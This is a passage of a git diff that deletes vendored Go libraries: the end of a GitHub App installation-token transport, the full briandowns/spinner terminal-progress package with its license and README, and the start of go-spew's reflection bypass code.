fmt.Errorf("Permissions() = nil, err: nil token") - } - return t.token.Permissions, nil -} - -// Repositories returns a transport token's GitHub repositories. -func (t *Transport) Repositories() ([]github.Repository, error) { - if t.token == nil { - return nil, fmt.Errorf("Repositories() = nil, err: nil token") - } - return t.token.Repositories, nil -} - -func (t *Transport) refreshToken(ctx context.Context) error { - // Convert InstallationTokenOptions into a ReadWriter to pass as an argument to http.NewRequest. - body, err := GetReadWriter(t.InstallationTokenOptions) - if err != nil { - return fmt.Errorf("could not convert installation token parameters into json: %s", err) - } - - req, err := http.NewRequest("POST", fmt.Sprintf("%s/app/installations/%v/access_tokens", t.BaseURL, t.installationID), body) - if err != nil { - return fmt.Errorf("could not create request: %s", err) - } - - // Set Content and Accept headers. - if body != nil { - req.Header.Set("Content-Type", "application/json") - } - req.Header.Set("Accept", acceptHeader) - - if ctx != nil { - req = req.WithContext(ctx) - } - - t.appsTransport.BaseURL = t.BaseURL - t.appsTransport.Client = t.Client - resp, err := t.appsTransport.RoundTrip(req) - if err != nil { - return fmt.Errorf("could not get access_tokens from GitHub API for installation ID %v: %v", t.installationID, err) - } - defer resp.Body.Close() - - if resp.StatusCode/100 != 2 { - return fmt.Errorf("request %+v received non 2xx response status %q with body %+v and TLS %+v", resp.Request, resp.Body, resp.Request, resp.TLS) - } - - return json.NewDecoder(resp.Body).Decode(&t.token) -} - -// GetReadWriter converts a body interface into an io.ReadWriter object. -func GetReadWriter(i interface{}) (io.ReadWriter, error) { - var buf io.ReadWriter - if i != nil { - buf = new(bytes.Buffer) - enc := json.NewEncoder(buf) - err := enc.Encode(i) - if err != nil { - return nil, err - } - } - return buf, nil -} diff --git a/vendor/github.com/briandowns/spinner/.gitignore b/vendor/github.com/briandowns/spinner/.gitignore deleted file mode 100644 index 21ec6b71b7..0000000000 --- a/vendor/github.com/briandowns/spinner/.gitignore +++ /dev/null @@ -1,29 +0,0 @@ -# Created by .gitignore support plugin (hsz.mobi) -### Go template -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test -*.prof - -.idea -*.iml diff --git a/vendor/github.com/briandowns/spinner/.travis.yml b/vendor/github.com/briandowns/spinner/.travis.yml deleted file mode 100644 index 2cf02a4aff..0000000000 --- a/vendor/github.com/briandowns/spinner/.travis.yml +++ /dev/null @@ -1,15 +0,0 @@ -language: go -go: - - 1.6.3 - - 1.7.3 -env: - - GOARCH: amd64 - - GOARCH: 386 -script: - - go test -v -notifications: - email: - recipients: - - brian.downs@gmail.com - on_success: change - on_failure: always diff --git a/vendor/github.com/briandowns/spinner/LICENSE b/vendor/github.com/briandowns/spinner/LICENSE deleted file mode 100644 index dd5b3a58aa..0000000000 --- a/vendor/github.com/briandowns/spinner/LICENSE +++ /dev/null @@ -1,174 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. diff --git a/vendor/github.com/briandowns/spinner/README.md b/vendor/github.com/briandowns/spinner/README.md deleted file mode 100644 index fd5416fc46..0000000000 --- a/vendor/github.com/briandowns/spinner/README.md +++ /dev/null @@ -1,203 +0,0 @@ -# Spinner - -[![GoDoc](https://godoc.org/github.com/briandowns/spinner?status.svg)](https://godoc.org/github.com/briandowns/spinner) [![Build Status](https://travis-ci.org/briandowns/spinner.svg?branch=master)](https://travis-ci.org/briandowns/spinner) - -spinner is a simple package to add a spinner / progress indicator to any terminal application. Examples can be found below as well as full examples in the examples directory. - -For more detail about the library and its features, reference your local godoc once installed. - -Contributions welcome! - -## Installation - -```bash -go get github.com/briandowns/spinner -``` - -## Available Character Sets -(Numbered by their slice index) - -index | character set -------|--------------- -0 | ```←↖↑↗→↘↓↙``` -1 | ```▁▃▄▅▆▇█▇▆▅▄▃▁``` -2 | ```▖▘▝▗``` -3 | ```┤┘┴└├┌â”Ŧ┐``` -4 | ```â—ĸâ—Ŗâ—¤â—Ĩ``` -5 | ```â—°â—ŗâ—˛â—ą``` -6 | ```◴◷â—ļâ—ĩ``` -7 | ```◐◓◑◒``` -8 | ```.oO@*``` -9 | ```|/-\``` -10 | ```◡◡⊙⊙◠◠``` -11 | ```âŖžâŖŊâŖģâĸŋâĄŋâŖŸâŖ¯âŖˇ``` -12 | ```>))'> >))'> >))'> >))'> >))'> <'((< <'((< <'((<``` -13 | ```⠁⠂⠄⡀âĸ€â  â â ˆ``` -14 | ```⠋⠙⠹⠸â ŧâ ´â Ļ⠧⠇⠏``` -15 | ```abcdefghijklmnopqrstuvwxyz``` -16 | ```▉▊▋▌▍▎▏▎▍▌▋▊▉``` -17 | ```■□â–Ēâ–Ģ``` -18 | ```←↑→↓``` -19 | ```â•Ģâ•Ē``` -20 | ```⇐⇖⇑⇗⇒⇘⇓⇙``` -21 | ```⠁⠁⠉⠙⠚⠒⠂⠂⠒⠲⠴⠤⠄⠄⠤⠠⠠⠤â Ļ⠖⠒⠐⠐⠒⠓⠋⠉⠈⠈``` -22 | ```⠈⠉⠋⠓⠒⠐⠐⠒⠖â Ļ⠤⠠⠠⠤â Ļ⠖⠒⠐⠐⠒⠓⠋⠉⠈``` -23 | ```⠁⠉⠙⠚⠒⠂⠂⠒⠲⠴⠤⠄⠄⠤⠴⠲⠒⠂⠂⠒⠚⠙⠉⠁``` -24 | ```⠋⠙⠚⠒⠂⠂⠒⠲⠴â Ļ⠖⠒⠐⠐⠒⠓⠋``` -25 | ```īŊĻīŊ§īŊ¨īŊŠīŊĒīŊĢīŊŦīŊ­īŊŽīŊ¯īŊąīŊ˛īŊŗīŊ´īŊĩīŊļīŊˇīŊ¸īŊšīŊēīŊģīŊŧīŊŊīŊžīŊŋīž€īžīž‚īžƒīž„īž…īž†īž‡īžˆīž‰īžŠīž‹īžŒīžīžŽīžīžīž‘īž’īž“īž”īž•īž–īž—īž˜īž™īžšīž›īžœīž``` -26 | ```. .. ...``` -27 | ```▁▂▃▄▅▆▇█▉▊▋▌▍▎▏▏▎▍▌▋▊▉█▇▆▅▄▃▂▁``` -28 | ```.oO°Oo.``` -29 | ```+x``` -30 | ```v<^>``` -31 | ```>>---> >>---> >>---> >>---> >>---> <---<< <---<< <---<< <---<< <---<<``` -32 | ```| || ||| |||| ||||| |||||| ||||| |||| ||| || |``` -33 | ```[] [=] [==] [===] [====] [=====] [======] [=======] [========] [=========] [==========]``` -34 | ```(*---------) (-*--------) (--*-------) (---*------) (----*-----) (-----*----) (------*---) (-------*--) (--------*-) (---------*)``` -35 | ```█▒▒▒▒▒▒▒▒▒ ███▒▒▒▒▒▒▒ █████▒▒▒▒▒ ███████▒▒▒ ██████████``` -36 | ```[ ] [=> ] [===> ] [=====> ] [======> ] [========> ] [==========> ] [============> ] [==============> ] [================> ] [==================> ] [===================>]``` -37 | ```🕐 🕑 🕒 🕓 🕔 🕕 🕖 🕗 🕘 🕙 🕚 🕛``` -38 | ```🕐 🕜 🕑 🕝 🕒 🕞 🕓 🕟 🕔 🕠 🕕 🕡 🕖 đŸ•ĸ 🕗 đŸ•Ŗ 🕘 🕤 🕙 đŸ•Ĩ 🕚 đŸ•Ļ 🕛 🕧``` -39 | ```🌍 🌎 🌏``` -40 | ```◜ ◝ ◞ ◟``` -41 | ```âŦ’ âŦ” âŦ“ âŦ•``` -42 | ```âŦ– âŦ˜ âŦ— âŦ™``` -43 | ```[>>> >] []>>>> [] [] >>>> [] [] >>>> [] [] >>>> [] [] >>>>[] [>> >>]``` - -## Features - -* Start -* Stop -* Restart -* Reverse direction -* Update the spinner character set -* Update the spinner speed -* Prefix or append text -* Change spinner color -* Get spinner status -* Chain, pipe, redirect output -* Output final string on spinner/indicator completion - -## Examples - -```Go -package main - -import ( - "github.com/briandowns/spinner" - "time" -) - -func main() { - s := spinner.New(spinner.CharSets[9], 100*time.Millisecond) // Build our new spinner - s.Start() // Start the spinner - time.Sleep(4 * time.Second) // Run for some time to simulate work - s.Stop() -} -``` - -## Update the character set and restart the spinner - -```Go -s.UpdateCharSet(spinner.CharSets[1]) // Update spinner to use a different character set -s.Restart() // Restart the spinner -time.Sleep(4 * time.Second) -s.Stop() -``` - -## Update spin speed and restart the spinner - -```Go -s.UpdateSpeed(200 * time.Millisecond) // Update the speed the spinner spins at -s.Restart() -time.Sleep(4 * time.Second) -s.Stop() -``` - -## Reverse the direction of the spinner - -```Go -s.Reverse() // Reverse the direction the spinner is spinning -s.Restart() -time.Sleep(4 * time.Second) -s.Stop() -``` - -## Provide your own spinner - -(or send me an issue or pull request to add to the project) - -```Go -someSet := []string{"+", "-"} -s := spinner.New(someSet, 100*time.Millisecond) -``` - -## Prefix or append text to the spinner - -```Go -s.Prefix = "prefixed text: " // Prefix text before the spinner -s.Suffix = " :appended text" // Append text after the spinner -``` - -## Set or change the color of the spinner. Default color is white. This will restart the spinner with the new color. - -```Go -s.Color("red") // Set the spinner color to red -``` - -## Generate a sequence of numbers - -```Go -setOfDigits := spinner.GenerateNumberSequence(25) // Generate a 25 digit string of numbers -s := spinner.New(setOfDigits, 100*time.Millisecond) -``` - -## Get spinner status - -```Go -fmt.Println(s.ST) -``` - -## Unix pipe and redirect - -Feature suggested and write up by [dekz](https://github.com/dekz) - -Setting the Spinner Writer to Stderr helps show progress to the user, with the enhancement to chain, pipe or redirect the output. - -```go -s := spinner.New(spinner.CharSets[11], 100*time.Millisecond) -s.Suffix = " Encrypting data..." -s.Writer = os.Stderr -s.Start() -// Encrypt the data into ciphertext -fmt.Println(os.Stdout, ciphertext) -``` - -```sh -> myprog encrypt "Secret text" > encrypted.txt -âŖ¯ Encrypting data... -``` - -```sh -> cat encrypted.txt -1243hjkbas23i9ah27sj39jghv237n2oa93hg83 -``` - -## Final String Output - -Add additional output when the spinner/indicator has completed. The "final" output string can be multi-lined and will be written to wherever the `io.Writer` has been configured for. - -```Go -s := spinner.New(spinner.CharSets[9], 100*time.Millisecond) -s.FinalMSG = "Complete!\nNew line!\nAnother one!\n" -s.Start() -time.Sleep(4 * time.Second) -s.Stop() -``` - -Output -```sh -Complete! -New line! -Another one! -``` diff --git a/vendor/github.com/briandowns/spinner/character_sets.go b/vendor/github.com/briandowns/spinner/character_sets.go deleted file mode 100644 index 1efe6e6ed4..0000000000 --- a/vendor/github.com/briandowns/spinner/character_sets.go +++ /dev/null @@ -1,59 +0,0 @@ -package spinner - -const ( - clockOneOClock = '\U0001F550' - clockOneThirty = '\U0001F55C' -) - -// CharSets contains the available character sets -var CharSets = map[int][]string{ - 0: {"←", "↖", "↑", "↗", "→", "↘", "↓", "↙"}, - 1: {"▁", "▃", "▄", "▅", "▆", "▇", "█", "▇", "▆", "▅", "▄", "▃", "▁"}, - 2: {"▖", "▘", "▝", "▗"}, - 3: {"┤", "┘", "┴", "└", "├", "┌", "â”Ŧ", "┐"}, - 4: {"â—ĸ", "â—Ŗ", "◤", "â—Ĩ"}, - 5: {"◰", "â—ŗ", "◲", "◱"}, - 6: {"◴", "◷", "â—ļ", "â—ĩ"}, - 7: {"◐", "◓", "◑", "◒"}, - 8: {".", "o", "O", "@", "*"}, - 9: {"|", "/", "-", "\\"}, - 10: {"◡◡", "⊙⊙", "◠◠"}, - 11: {"âŖž", "âŖŊ", "âŖģ", "âĸŋ", "âĄŋ", "âŖŸ", "âŖ¯", "âŖˇ"}, - 12: {">))'>", " >))'>", " >))'>", " >))'>", " >))'>", " <'((<", " <'((<", " <'((<"}, - 13: {"⠁", "⠂", "⠄", "⡀", "âĸ€", "â  ", "⠐", "⠈"}, - 14: {"⠋", "⠙", "â š", "â ¸", "â ŧ", "â ´", "â Ļ", "â §", "⠇", "⠏"}, - 15: {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}, - 16: {"▉", "▊", "▋", "▌", "▍", "▎", "▏", "▎", "▍", "▌", "▋", "▊", "▉"}, - 17: {"■", "□", "â–Ē", "â–Ģ"}, - 18: {"←", "↑", "→", "↓"}, - 19: {"â•Ģ", "â•Ē"}, - 20: {"⇐", "⇖", "⇑", "⇗", "⇒", "⇘", "⇓", "⇙"}, - 21: {"⠁", "⠁", "⠉", "⠙", "⠚", "⠒", "⠂", "⠂", "⠒", "â ˛", "â ´", "â ¤", "⠄", "⠄", "â ¤", "â  ", "â  ", "â ¤", "â Ļ", "⠖", "⠒", "⠐", "⠐", "⠒", "⠓", "⠋", "⠉", "⠈", "⠈"}, - 22: {"⠈", "⠉", "⠋", "⠓", "⠒", "⠐", "⠐", "⠒", "⠖", "â Ļ", "â ¤", "â  ", "â  ", "â ¤", "â Ļ", "⠖", "⠒", "⠐", "⠐", "⠒", "⠓", "⠋", "⠉", "⠈"}, - 23: {"⠁", "⠉", "⠙", "⠚", "⠒", "⠂", "⠂", "⠒", "â ˛", "â ´", "â ¤", "⠄", "⠄", "â ¤", "â ´", "â ˛", "⠒", "⠂", "⠂", "⠒", "⠚", "⠙", "⠉", "⠁"}, - 24: {"⠋", "⠙", "⠚", "⠒", "⠂", "⠂", "⠒", "â ˛", "â ´", "â Ļ", "⠖", "⠒", "⠐", "⠐", "⠒", "⠓", "⠋"}, - 25: {"īŊĻ", "īŊ§", "īŊ¨", "īŊŠ", "īŊĒ", "īŊĢ", "īŊŦ", "īŊ­", "īŊŽ", "īŊ¯", "īŊą", "īŊ˛", "īŊŗ", "īŊ´", "īŊĩ", "īŊļ", "īŊˇ", "īŊ¸", "īŊš", "īŊē", "īŊģ", "īŊŧ", "īŊŊ", "īŊž", "īŊŋ", "īž€", "īž", "īž‚", "īžƒ", "īž„", "īž…", "īž†", "īž‡", "īžˆ", "īž‰", "īžŠ", "īž‹", "īžŒ", "īž", "īžŽ", "īž", "īž", "īž‘", "īž’", "īž“", "īž”", "īž•", "īž–", "īž—", "īž˜", "īž™", "īžš", "īž›", "īžœ", "īž"}, - 26: {".", "..", "..."}, - 27: {"▁", "▂", "▃", "▄", "▅", "▆", "▇", "█", "▉", "▊", "▋", "▌", "▍", "▎", "▏", "▏", "▎", "▍", "▌", "▋", "▊", "▉", "█", "▇", "▆", "▅", "▄", "▃", "▂", "▁"}, - 28: {".", "o", "O", "°", "O", "o", "."}, - 29: {"+", "x"}, - 30: {"v", "<", "^", ">"}, - 31: {">>--->", " >>--->", " >>--->", " >>--->", " >>--->", " <---<<", " <---<<", " <---<<", " <---<<", "<---<<"}, - 32: {"|", "||", "|||", "||||", "|||||", "|||||||", "||||||||", "|||||||", "||||||", "|||||", "||||", "|||", "||", "|"}, - 33: {"[ ]", "[= ]", "[== ]", "[=== ]", "[==== ]", "[===== ]", "[====== ]", "[======= ]", "[======== ]", "[========= ]", "[==========]"}, - 34: {"(*---------)", "(-*--------)", "(--*-------)", "(---*------)", "(----*-----)", "(-----*----)", "(------*---)", "(-------*--)", "(--------*-)", "(---------*)"}, - 35: {"█▒▒▒▒▒▒▒▒▒", "███▒▒▒▒▒▒▒", "█████▒▒▒▒▒", "███████▒▒▒", "██████████"}, - 36: {"[ ]", "[=> ]", "[===> ]", "[=====> ]", "[======> ]", "[========> ]", "[==========> ]", "[============> ]", "[==============> ]", "[================> ]", "[==================> ]", "[===================>]"}, - 39: {"🌍", "🌎", "🌏"}, - 40: {"◜", "◝", "◞", "◟"}, - 41: {"âŦ’", "âŦ”", "âŦ“", "âŦ•"}, - 42: {"âŦ–", "âŦ˜", "âŦ—", "âŦ™"}, - 43: {"[>>> >]", "[]>>>> []", "[] >>>> []", "[] >>>> []", "[] >>>> []", "[] >>>>[]", "[>> >>]"}, -} - -func init() { - for i := rune(0); i < 12; i++ { - CharSets[37] = append(CharSets[37], string([]rune{clockOneOClock + i})) - CharSets[38] = append(CharSets[38], string([]rune{clockOneOClock + i}), string([]rune{clockOneThirty + i})) - } -} diff --git a/vendor/github.com/briandowns/spinner/spinner.go b/vendor/github.com/briandowns/spinner/spinner.go deleted file mode 100644 index c25a466234..0000000000 --- a/vendor/github.com/briandowns/spinner/spinner.go +++ /dev/null @@ -1,194 +0,0 @@ -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package spinner is a simple package to add a spinner / progress indicator to any terminal application. -package spinner - -import ( - "errors" - "fmt" - "io" - "strconv" - "sync" - "time" - "unicode/utf8" - - "github.com/fatih/color" -) - -// errInvalidColor is returned when attempting to set an invalid color -var errInvalidColor = errors.New("invalid color") - -// validColors holds an array of the only colors allowed -var validColors = map[string]bool{ - "red": true, - "green": true, - "yellow": true, - "blue": true, - "magenta": true, - "cyan": true, - "white": true, -} - -// returns a valid color's foreground text color attribute -var colorAttributeMap = map[string]color.Attribute{ - "red": color.FgRed, - "green": color.FgGreen, - "yellow": color.FgYellow, - "blue": color.FgBlue, - "magenta": color.FgMagenta, - "cyan": color.FgCyan, - "white": color.FgWhite, -} - -// validColor will make sure the given color is actually allowed -func validColor(c string) bool { - valid := false - if validColors[c] { - valid = true - } - return valid -} - -// Spinner struct to hold the provided options -type Spinner struct { - Delay time.Duration // Delay is the speed of the indicator - chars []string // chars holds the chosen character set - Prefix string // Prefix is the text preppended to the indicator - Suffix string // Suffix is the text appended to the indicator - FinalMSG string // string displayed after Stop() is called - lastOutput string // last character(set) written - color func(a ...interface{}) string // default color is white - lock *sync.RWMutex // - Writer io.Writer // to make testing better, exported so users have access - active bool // active holds the state of the spinner - stopChan chan struct{} // stopChan is a channel used to stop the indicator -} - -// New provides a pointer to an instance of Spinner with the supplied options -func New(cs []string, d time.Duration) *Spinner { - return &Spinner{ - Delay: d, - chars: cs, - color: color.New(color.FgWhite).SprintFunc(), - lock: &sync.RWMutex{}, - Writer: color.Output, - active: false, - stopChan: make(chan struct{}, 1), - } -} - -// Start will start the indicator -func (s *Spinner) Start() { - if s.active { - return - } - s.active = true - - go func() { - for { - for i := 0; i < len(s.chars); i++ { - select { - case <-s.stopChan: - return - default: - s.lock.Lock() - s.erase() - outColor := fmt.Sprintf("%s%s%s ", s.Prefix, s.color(s.chars[i]), s.Suffix) - outPlain := fmt.Sprintf("%s%s%s ", s.Prefix, s.chars[i], s.Suffix) - fmt.Fprint(s.Writer, outColor) - s.lastOutput = outPlain - delay := s.Delay - s.lock.Unlock() - - time.Sleep(delay) - } - } - } - }() -} - -// Stop stops the indicator -func (s *Spinner) Stop() { - s.lock.Lock() - defer s.lock.Unlock() - if s.active { - s.active = false - s.erase() - if s.FinalMSG != "" { - fmt.Fprintf(s.Writer, s.FinalMSG) - } - s.stopChan <- struct{}{} - } -} - -// Restart will stop and start the indicator -func (s *Spinner) Restart() { - s.Stop() - s.Start() -} - -// Reverse will reverse the order of the slice assigned to the indicator -func (s *Spinner) Reverse() { - s.lock.Lock() - defer s.lock.Unlock() - for i, j := 0, len(s.chars)-1; i < j; i, j = i+1, j-1 { - s.chars[i], s.chars[j] = s.chars[j], s.chars[i] - } -} - -// Color will set the struct field for the given color to be used -func (s *Spinner) Color(c string) error { - if !validColor(c) { - return errInvalidColor - } - s.color = color.New(colorAttributeMap[c]).SprintFunc() - s.Restart() - return nil -} - -// UpdateSpeed will set the indicator delay to the given value -func (s *Spinner) UpdateSpeed(d time.Duration) { - s.lock.Lock() - defer s.lock.Unlock() - s.Delay = d -} - -// UpdateCharSet will change the current character set to the given one -func (s *Spinner) UpdateCharSet(cs []string) { - s.lock.Lock() - defer s.lock.Unlock() - s.chars = cs -} - -// erase deletes written characters -// -// Caller must already hold s.lock. -func (s *Spinner) erase() { - n := utf8.RuneCountInString(s.lastOutput) - for _, c := range []string{"\b", " ", "\b"} { - for i := 0; i < n; i++ { - fmt.Fprintf(s.Writer, c) - } - } - s.lastOutput = "" -} - -// GenerateNumberSequence will generate a slice of integers at the -// provided length and convert them each to a string -func GenerateNumberSequence(length int) []string { - numSeq := make([]string, length) - for i := 0; i < length; i++ { - numSeq[i] = strconv.Itoa(i) - } - return numSeq -} diff --git a/vendor/github.com/davecgh/go-spew/LICENSE b/vendor/github.com/davecgh/go-spew/LICENSE deleted file mode 100644 index bc52e96f2b..0000000000 --- a/vendor/github.com/davecgh/go-spew/LICENSE +++ /dev/null @@ -1,15 +0,0 @@ -ISC License - -Copyright (c) 2012-2016 Dave Collins - -Permission to use, copy, modify, and/or distribute this software for any -purpose with or without fee is hereby granted, provided that the above -copyright notice and this permission notice appear in all copies. - -THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES -WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR -ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF -OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. diff --git a/vendor/github.com/davecgh/go-spew/spew/bypass.go b/vendor/github.com/davecgh/go-spew/spew/bypass.go deleted file mode 100644 index 792994785e..0000000000 --- a/vendor/github.com/davecgh/go-spew/spew/bypass.go +++ /dev/null @@ -1,145 +0,0 @@ -// Copyright (c) 2015-2016 Dave Collins -// -// Permission to use, copy, modify, and distribute this software for any -// purpose with or without fee is hereby granted, provided that the above -// copyright notice and this permission notice appear in all copies. -// -// THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES -// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR -// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF -// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -// NOTE: Due to the following build constraints, this file will only be compiled -// when the code is not running on Google App Engine, compiled by GopherJS, and -// "-tags safe" is not added to the go build command line. The "disableunsafe" -// tag is deprecated and thus should not be used. -// Go versions prior to 1.4 are disabled because they use a different layout -// for interfaces which make the implementation of unsafeReflectValue more complex. -// +build !js,!appengine,!safe,!disableunsafe,go1.4 - -package spew - -import ( - "reflect" - "unsafe" -) - -const ( - // UnsafeDisabled is a build-time constant which specifies whether or - // not access to the unsafe package is available. - UnsafeDisabled = false - - // ptrSize is the size of a pointer on the current arch. - ptrSize = unsafe.Sizeof((*byte)(nil)) -) - -type flag uintptr - -var ( - // flagRO indicates whether the value field of a reflect.Value - // is read-only. - flagRO flag - - // flagAddr indicates whether the address of the reflect.Value's - // value may be taken. - flagAddr flag -) - -// flagKindMask holds the bits that make up the kind -// part of the flags field. In all the supported versions, -// it is in the lower 5 bits. -const flagKindMask = flag(0x1f) - -// Different versions of Go have used different -// bit layouts for the flags type. This table -// records the known combinations. -var okFlags = []struct { - ro, addr flag -}{{ - // From Go 1.4 to 1.5 - ro: 1 << 5, - addr: 1 << 7, -}, { - // Up to Go tip. - ro: 1<<5 | 1<<6, - addr: 1 << 8, -}} - -var flagValOffset = func() uintptr { - field, ok := reflect.TypeOf(reflect.Value{}).FieldByName("flag") - if 